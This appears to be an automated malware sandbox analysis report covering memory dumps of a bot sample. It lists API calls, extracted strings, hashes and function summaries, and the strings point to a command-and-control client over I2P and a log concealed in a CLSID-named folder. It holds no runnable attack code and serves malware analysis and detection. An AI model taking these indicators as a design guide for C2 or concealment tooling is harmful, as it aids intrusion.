Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: strlen$CountCriticalErrorHandleInitializeLastModuleSectionSpinfopenstrcat
String ID: $C:\Users\Public\Computer.{20d04fe0-3aea-1069-a2d8-08002b30309d}\cnccli.log$Done$P$[E] (%s) -> Failed(err=%08x)$[E] (%s) -> InitializeCriticalSectionAndSpinCount(log_cs) failed(gle=%lu)$[E] (%s) -> Log open failed(flog_path=%s)$[I] (%s) -> %s$[I] (%s) -> Log open success(flog_path=%s)$cnccli.l$debug_init$log$~
API String ID: 3395718042-315528054
Opcode ID: 602e9c047fdca86cbadb0e5c23cdcfb60371812318e93288b996e6c907137449
Instruction ID: f429e8a65ea131e304848889b0689bfcdaa34c7f643bb8ab0c88b0ac273ec320
Opcode Fuzzy Hash: 602e9c047fdca86cbadb0e5c23cdcfb60371812318e93288b996e6c907137449
Instruction Fuzzy Hash: 3E514960E1E70386FB649BDDE8903F82354AF897C4F548032DB4E466A7DE6CA996C341

Function 00007FF8BA4F8702 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BA4F875C
RegQueryValueExA.ADVAPI32 ref: 00007FF8BA4F88A4

Part of subcall function 00007FF8BA4F1292: fwrite.MSVCRT ref: 00007FF8BA4F133E
Part of subcall function 00007FF8BA4F1292: fflush.MSVCRT ref: 00007FF8BA4F134A

Strings

H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BA4F87C2, 00007FF8BA4F87F5, 00007FF8BA4F8828, 00007FF8BA4F885B
, xrefs: 00007FF8BA4F88DE
, xrefs: 00007FF8BA4F88E7
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BA4F88D2
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BA4F877E
(value != NULL), xrefs: 00007FF8BA4F882F
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BA4F8A1D
NULL, xrefs: 00007FF8BA4F88FE, 00007FF8BA4F8BAC, 00007FF8BA4F8BB8
(root != NULL), xrefs: 00007FF8BA4F87C9
registry_get_value, xrefs: 00007FF8BA4F8777, 00007FF8BA4F87D0, 00007FF8BA4F8803, 00007FF8BA4F8836, 00007FF8BA4F8869, 00007FF8BA4F88CB, 00007FF8BA4F8A16, 00007FF8BA4F8B94
P, xrefs: 00007FF8BA4F894F
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BA4F87D7, 00007FF8BA4F880A, 00007FF8BA4F883D, 00007FF8BA4F8870
(key != NULL), xrefs: 00007FF8BA4F87FC
(value_sz != NULL), xrefs: 00007FF8BA4F8862
P, xrefs: 00007FF8BA4F8958
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BA4F8B9B

Memory Dump Source

Source File: 00000016.00000002.3158369804.00007FF8BA4F1000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA4F0000, based on PE: true

Associated: 00000016.00000002.3158349155.00007FF8BA4F0000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158397760.00007FF8BA503000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158419752.00007FF8BA50C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158442871.00007FF8BA50F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.3158466331.00007FF8BA510000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba4f0000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: 931fbe224b6d1362edbcaa76613dba2ac2475fcda5323f9d284c0134768a3e7b
Instruction ID: 8e3d2907986e33aaf9e9d339b7b2beee5e6b97830c643e186a79ff32b3fef841
Opcode Fuzzy Hash: 931fbe224b6d1362edbcaa76613dba2ac2475fcda5323f9d284c0134768a3e7b
Instruction Fuzzy Hash: C7A14361D0C74B81F630974CA8407B96250AF427C4F5421B7DF4E4AAA5EFBFEA85D342

Function 00007FF8B915B0E2 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8B915B13C
RegQueryValueExA.ADVAPI32 ref: 00007FF8B915B284

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

Strings

P, xrefs: 00007FF8B915B338
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B915B3FD
(value_sz != NULL), xrefs: 00007FF8B915B242
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8B915B1A2, 00007FF8B915B1D5, 00007FF8B915B208, 00007FF8B915B23B
, xrefs: 00007FF8B915B2BE
(value != NULL), xrefs: 00007FF8B915B20F
registry_get_value, xrefs: 00007FF8B915B157, 00007FF8B915B1B0, 00007FF8B915B1E3, 00007FF8B915B216, 00007FF8B915B249, 00007FF8B915B2AB, 00007FF8B915B3F6, 00007FF8B915B574
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8B915B15E
(key != NULL), xrefs: 00007FF8B915B1DC
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B915B1B7, 00007FF8B915B1EA, 00007FF8B915B21D, 00007FF8B915B250
P, xrefs: 00007FF8B915B32F
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8B915B2B2
, xrefs: 00007FF8B915B2C7
(root != NULL), xrefs: 00007FF8B915B1A9
NULL, xrefs: 00007FF8B915B2DE, 00007FF8B915B58C, 00007FF8B915B598
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8B915B57B

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: 428d5fea51d9c1de1b694d77009b856a7566bb1f16a7a93045fe153b6cb68c6f
Instruction ID: 81286e7b30b63b9601357d47c3967e613c629b40faa304e186c319f18425bd9b
Opcode Fuzzy Hash: 428d5fea51d9c1de1b694d77009b856a7566bb1f16a7a93045fe153b6cb68c6f
Instruction Fuzzy Hash: CDA14B60E8C78B81F6619F2CA9403B82254AF403C8F568133DB5E56695EFADF985F342

Function 00007FF8B9182472 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8B91824CC
RegQueryValueExA.ADVAPI32 ref: 00007FF8B9182614

Part of subcall function 00007FF8B9181292: fwrite.MSVCRT ref: 00007FF8B918133E
Part of subcall function 00007FF8B9181292: fflush.MSVCRT ref: 00007FF8B918134A

Strings

[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8B918278D
(key != NULL), xrefs: 00007FF8B918256C
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8B9182547, 00007FF8B918257A, 00007FF8B91825AD, 00007FF8B91825E0
(value_sz != NULL), xrefs: 00007FF8B91825D2
P, xrefs: 00007FF8B91826C8
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8B9182532, 00007FF8B9182565, 00007FF8B9182598, 00007FF8B91825CB
, xrefs: 00007FF8B9182657
, xrefs: 00007FF8B918264E
P, xrefs: 00007FF8B91826BF
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8B9182642
NULL, xrefs: 00007FF8B918266E, 00007FF8B918291C, 00007FF8B9182928
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8B918290B
(value != NULL), xrefs: 00007FF8B918259F
registry_get_value, xrefs: 00007FF8B91824E7, 00007FF8B9182540, 00007FF8B9182573, 00007FF8B91825A6, 00007FF8B91825D9, 00007FF8B918263B, 00007FF8B9182786, 00007FF8B9182904
(root != NULL), xrefs: 00007FF8B9182539
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8B91824EE

Memory Dump Source

Source File: 00000016.00000002.3158250572.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.3158234398.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158275451.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158294860.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158311467.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.3158327489.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: 481f3edfdb410c9c7dbf8b9b942a96f2820c5aded1884b0906b34a899a34cc49
Instruction ID: d0bca432a8c548f127ec2364f3478f1f2111b7f359857d154c8fb66883693118
Opcode Fuzzy Hash: 481f3edfdb410c9c7dbf8b9b942a96f2820c5aded1884b0906b34a899a34cc49
Instruction Fuzzy Hash: C6A17261D0C7C781FA229F4DA8C43782250AF117C4F924532DB1E476A7EE6DE986F342

Function 00007FF8BFB59702 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BFB5975C
RegQueryValueExA.ADVAPI32 ref: 00007FF8BFB598A4

Part of subcall function 00007FF8BFB52FD2: fwrite.MSVCRT ref: 00007FF8BFB5307E
Part of subcall function 00007FF8BFB52FD2: fflush.MSVCRT ref: 00007FF8BFB5308A

Strings

, xrefs: 00007FF8BFB598E7
(value != NULL), xrefs: 00007FF8BFB5982F
, xrefs: 00007FF8BFB598DE
(value_sz != NULL), xrefs: 00007FF8BFB59862
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BFB59B9B
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB597D7, 00007FF8BFB5980A, 00007FF8BFB5983D, 00007FF8BFB59870
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BFB597C2, 00007FF8BFB597F5, 00007FF8BFB59828, 00007FF8BFB5985B
NULL, xrefs: 00007FF8BFB598FE, 00007FF8BFB59BAC, 00007FF8BFB59BB8
(root != NULL), xrefs: 00007FF8BFB597C9
registry_get_value, xrefs: 00007FF8BFB59777, 00007FF8BFB597D0, 00007FF8BFB59803, 00007FF8BFB59836, 00007FF8BFB59869, 00007FF8BFB598CB, 00007FF8BFB59A16, 00007FF8BFB59B94
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB59A1D
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BFB5977E
(key != NULL), xrefs: 00007FF8BFB597FC
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BFB598D2
P, xrefs: 00007FF8BFB5994F
P, xrefs: 00007FF8BFB59958

Memory Dump Source

Source File: 00000016.00000002.3158634294.00007FF8BFB51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF8BFB50000, based on PE: true

Associated: 00000016.00000002.3158612916.00007FF8BFB50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158658328.00007FF8BFB62000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158682587.00007FF8BFB6B000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158717664.00007FF8BFB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158748673.00007FF8BFB6F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000016.00000002.3158773276.00007FF8BFB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb50000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: add2c6f352bf346838c4181cb8fcec24f82c3f84547b9df47f0d9f61b9981692
Instruction ID: b3667a72461a579f01bd083bdf02c04c75045806a1d4aa2408a1437682ba8800
Opcode Fuzzy Hash: add2c6f352bf346838c4181cb8fcec24f82c3f84547b9df47f0d9f61b9981692
Instruction Fuzzy Hash: 9EA1482190C74B91FA30ABCCE8617B9B350AF407C8F541132DB5E46BA1EEADF995D342

Function 00007FF8BFB37E42 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BFB37E9C
RegQueryValueExA.ADVAPI32 ref: 00007FF8BFB37FE4

Part of subcall function 00007FF8BFB3A202: fwrite.MSVCRT ref: 00007FF8BFB3A2AE
Part of subcall function 00007FF8BFB3A202: fflush.MSVCRT ref: 00007FF8BFB3A2BA

Strings

P, xrefs: 00007FF8BFB38098
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BFB38012
, xrefs: 00007FF8BFB3801E
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB37F17, 00007FF8BFB37F4A, 00007FF8BFB37F7D, 00007FF8BFB37FB0
(root != NULL), xrefs: 00007FF8BFB37F09
, xrefs: 00007FF8BFB38027
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB3815D
NULL, xrefs: 00007FF8BFB3803E, 00007FF8BFB382EC, 00007FF8BFB382F8
H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BFB37F02, 00007FF8BFB37F35, 00007FF8BFB37F68, 00007FF8BFB37F9B
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BFB382DB
registry_get_value, xrefs: 00007FF8BFB37EB7, 00007FF8BFB37F10, 00007FF8BFB37F43, 00007FF8BFB37F76, 00007FF8BFB37FA9, 00007FF8BFB3800B, 00007FF8BFB38156, 00007FF8BFB382D4
(value_sz != NULL), xrefs: 00007FF8BFB37FA2
(value != NULL), xrefs: 00007FF8BFB37F6F
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BFB37EBE
(key != NULL), xrefs: 00007FF8BFB37F3C
P, xrefs: 00007FF8BFB3808F

Memory Dump Source

Source File: 00000016.00000002.3158508770.00007FF8BFB31000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFB30000, based on PE: true

Associated: 00000016.00000002.3158487373.00007FF8BFB30000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158530509.00007FF8BFB40000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158550873.00007FF8BFB48000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158571573.00007FF8BFB4B000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.3158593544.00007FF8BFB4C000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb30000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: a723a54cd343313568721d095f8a87cc706e6852ad108b433f86050c43f96ab7
Instruction ID: e5c1d7d664418198a8bbfbdb749275de3dae995e80a703ad33e3d679bbd73c97
Opcode Fuzzy Hash: a723a54cd343313568721d095f8a87cc706e6852ad108b433f86050c43f96ab7
Instruction Fuzzy Hash: B2A14D629CCB4B91FA70ABCCAD013786354AF587C4F580132DB1E47695EEADE985D303

Function 00007FF8BFB8D6C2 Relevance: 33.5, APIs: 3, Strings: 16, Instructions: 246registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00007FF8BFB8D71C
RegQueryValueExA.ADVAPI32 ref: 00007FF8BFB8D864

Part of subcall function 00007FF8BFB81292: fwrite.MSVCRT ref: 00007FF8BFB8133E
Part of subcall function 00007FF8BFB81292: fflush.MSVCRT ref: 00007FF8BFB8134A

Strings

H:/Projects/rdp/bot/codebase/registry.c, xrefs: 00007FF8BFB8D782, 00007FF8BFB8D7B5, 00007FF8BFB8D7E8, 00007FF8BFB8D81B
(value != NULL), xrefs: 00007FF8BFB8D7EF
[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x), xrefs: 00007FF8BFB8D9DD
[D] (%s) -> Done(root=0x%p,key=%s,param=%s), xrefs: 00007FF8BFB8DB5B
registry_get_value, xrefs: 00007FF8BFB8D737, 00007FF8BFB8D790, 00007FF8BFB8D7C3, 00007FF8BFB8D7F6, 00007FF8BFB8D829, 00007FF8BFB8D88B, 00007FF8BFB8D9D6, 00007FF8BFB8DB54
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF8BFB8D797, 00007FF8BFB8D7CA, 00007FF8BFB8D7FD, 00007FF8BFB8D830
NULL, xrefs: 00007FF8BFB8D8BE, 00007FF8BFB8DB6C, 00007FF8BFB8DB78
[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu), xrefs: 00007FF8BFB8D73E
(key != NULL), xrefs: 00007FF8BFB8D7BC
, xrefs: 00007FF8BFB8D8A7
, xrefs: 00007FF8BFB8D89E
P, xrefs: 00007FF8BFB8D90F
(value_sz != NULL), xrefs: 00007FF8BFB8D822
P, xrefs: 00007FF8BFB8D918
[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu), xrefs: 00007FF8BFB8D892
(root != NULL), xrefs: 00007FF8BFB8D789

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: OpenQueryValuefflushfwrite
String ID: $ $(key != NULL)$(root != NULL)$(value != NULL)$(value_sz != NULL)$H:/Projects/rdp/bot/codebase/registry.c$NULL$P$P$[D] (%s) -> Done(root=0x%p,key=%s,param=%s)$[E] (%s) -> Assertation failed: %s, file %s, line %d$[E] (%s) -> Failed(root=0x%p,key=%s,param=%s,err=%08x)$[E] (%s) -> RegOpenKeyA failed(root=0x%p,key=%s,res=%lu)$[E] (%s) -> RegQueryValueA failed(root=0x%p,key=%s,param=%s,res=%lu)$registry_get_value
API String ID: 1980715187-354652506
Opcode ID: e0d0507b3a6c418314780e5cd595686b87934a5845e747169805726748d1ec43
Instruction ID: 521b050ca184c651ed9dfebace145161b87e1e72b4d62eb84e868271a24a3956
Opcode Fuzzy Hash: e0d0507b3a6c418314780e5cd595686b87934a5845e747169805726748d1ec43
Instruction Fuzzy Hash: 28A14921A0C74B91FB60ABCCE8403B97351AF887C4F544133CB4E46697EEADE985C362

Function 00007FF8BFB83D25 Relevance: 33.4, APIs: 2, Strings: 17, Instructions: 180threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 00007FF8BFB83F3A
GetLastError.KERNEL32 ref: 00007FF8BFB83F9B

Strings

server_timeo, xrefs: 00007FF8BFB83DDB
server_port, xrefs: 00007FF8BFB83D9A
i2p_addr, xrefs: 00007FF8BFB83E90
P, xrefs: 00007FF8BFB8401A
[E] (%s) -> Failed(err=%08x), xrefs: 00007FF8BFB83EF4
cnccli, xrefs: 00007FF8BFB83D63, 00007FF8BFB83DA1, 00007FF8BFB83DE2, 00007FF8BFB83E23, 00007FF8BFB83E64, 00007FF8BFB83E97
i2p_sam3_timeo, xrefs: 00007FF8BFB83E5D
[I] (%s) -> CreateThread(%s) done, xrefs: 00007FF8BFB83F5A
cnc_init, xrefs: 00007FF8BFB83EED, 00007FF8BFB83F53, 00007FF8BFB83F83, 00007FF8BFB83FAD
i2p_try_num, xrefs: 00007FF8BFB83E1C
routine_rx, xrefs: 00007FF8BFB83F4C, 00007FF8BFB83FA6
Done, xrefs: 00007FF8BFB83F7C
, xrefs: 00007FF8BFB83FC0
server_host, xrefs: 00007FF8BFB83D5C
[E] (%s) -> CreateThread(%s) failed(gle=%lu), xrefs: 00007FF8BFB83FB4
~, xrefs: 00007FF8BFB84015
[I] (%s) -> %s, xrefs: 00007FF8BFB83F8A

Memory Dump Source

Source File: 00000016.00000002.3158876338.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.3158853612.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158903693.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158925698.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158951148.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158971118.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3158989337.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.3159008273.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: CreateErrorLastThread
String ID: $Done$P$[E] (%s) -> CreateThread(%s) failed(gle=%lu)$[E] (%s) -> Failed(err=%08x)$[I] (%s) -> %s$[I] (%s) -> CreateThread(%s) done$cnc_init$cnccli$i2p_addr$i2p_sam3_timeo$i2p_try_num$routine_rx$server_host$server_port$server_timeo$~
API String ID: 1689873465-2891999747
Opcode ID: 97be6b5ad07804f14644d956753ed9498501f368d80ed370f2936be80a530947
Instruction ID: 38ad52acea5631fec55358683cf5caa898b0a6e3b83b17df0c577eb508ff775a
Opcode Fuzzy Hash: 97be6b5ad07804f14644d956753ed9498501f368d80ed370f2936be80a530947
Instruction Fuzzy Hash: 8C919362A0C74381FB209BDCE8847B92394AF843E4F589235C75E462E2DF7CE955C351

Function 00007FF6BE03227B Relevance: 33.4, APIs: 9, Strings: 10, Instructions: 133fileCOMMON

Download Yara Rule

APIs

fopen.MSVCRT ref: 00007FF6BE0322A3
fclose.MSVCRT ref: 00007FF6BE0322D5
_errno.MSVCRT ref: 00007FF6BE03238F
_errno.MSVCRT ref: 00007FF6BE0323B0
fwrite.MSVCRT ref: 00007FF6BE032424

Strings

NULL, xrefs: 00007FF6BE0324DA, 00007FF6BE0324E6
[I] (%s) -> Done(path=%s,mode=%s,buf_sz=%llu), xrefs: 00007FF6BE032504
[E] (%s) -> Failed(path=%s,mode=%s,err=%08x), xrefs: 00007FF6BE03230C
(mode != NULL), xrefs: 00007FF6BE032364
[E] (%s) -> fopen failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF6BE0323A4
(path != NULL), xrefs: 00007FF6BE032334
[E] (%s) -> fwrite failed(path=%s,mode=%s,errno=%d), xrefs: 00007FF6BE032454
fs_file_write, xrefs: 00007FF6BE032305, 00007FF6BE03233B, 00007FF6BE03236B, 00007FF6BE03239D, 00007FF6BE03244D, 00007FF6BE0324FD
[E] (%s) -> Assertation failed: %s, file %s, line %d, xrefs: 00007FF6BE032342, 00007FF6BE032372
H:/Projects/rdp/bot/codebase/fs.c, xrefs: 00007FF6BE03232D, 00007FF6BE03235D

Memory Dump Source

Source File: 00000016.00000002.3157217941.00007FF6BE031000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF6BE030000, based on PE: true

Associated: 00000016.00000002.3157196943.00007FF6BE030000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157241417.00007FF6BE040000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE048000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157265205.00007FF6BE04A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.3157305607.00007FF6BE04E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff6be030000_main.jbxd

Similarity

API ID: _errno$fclosefopenfwrite
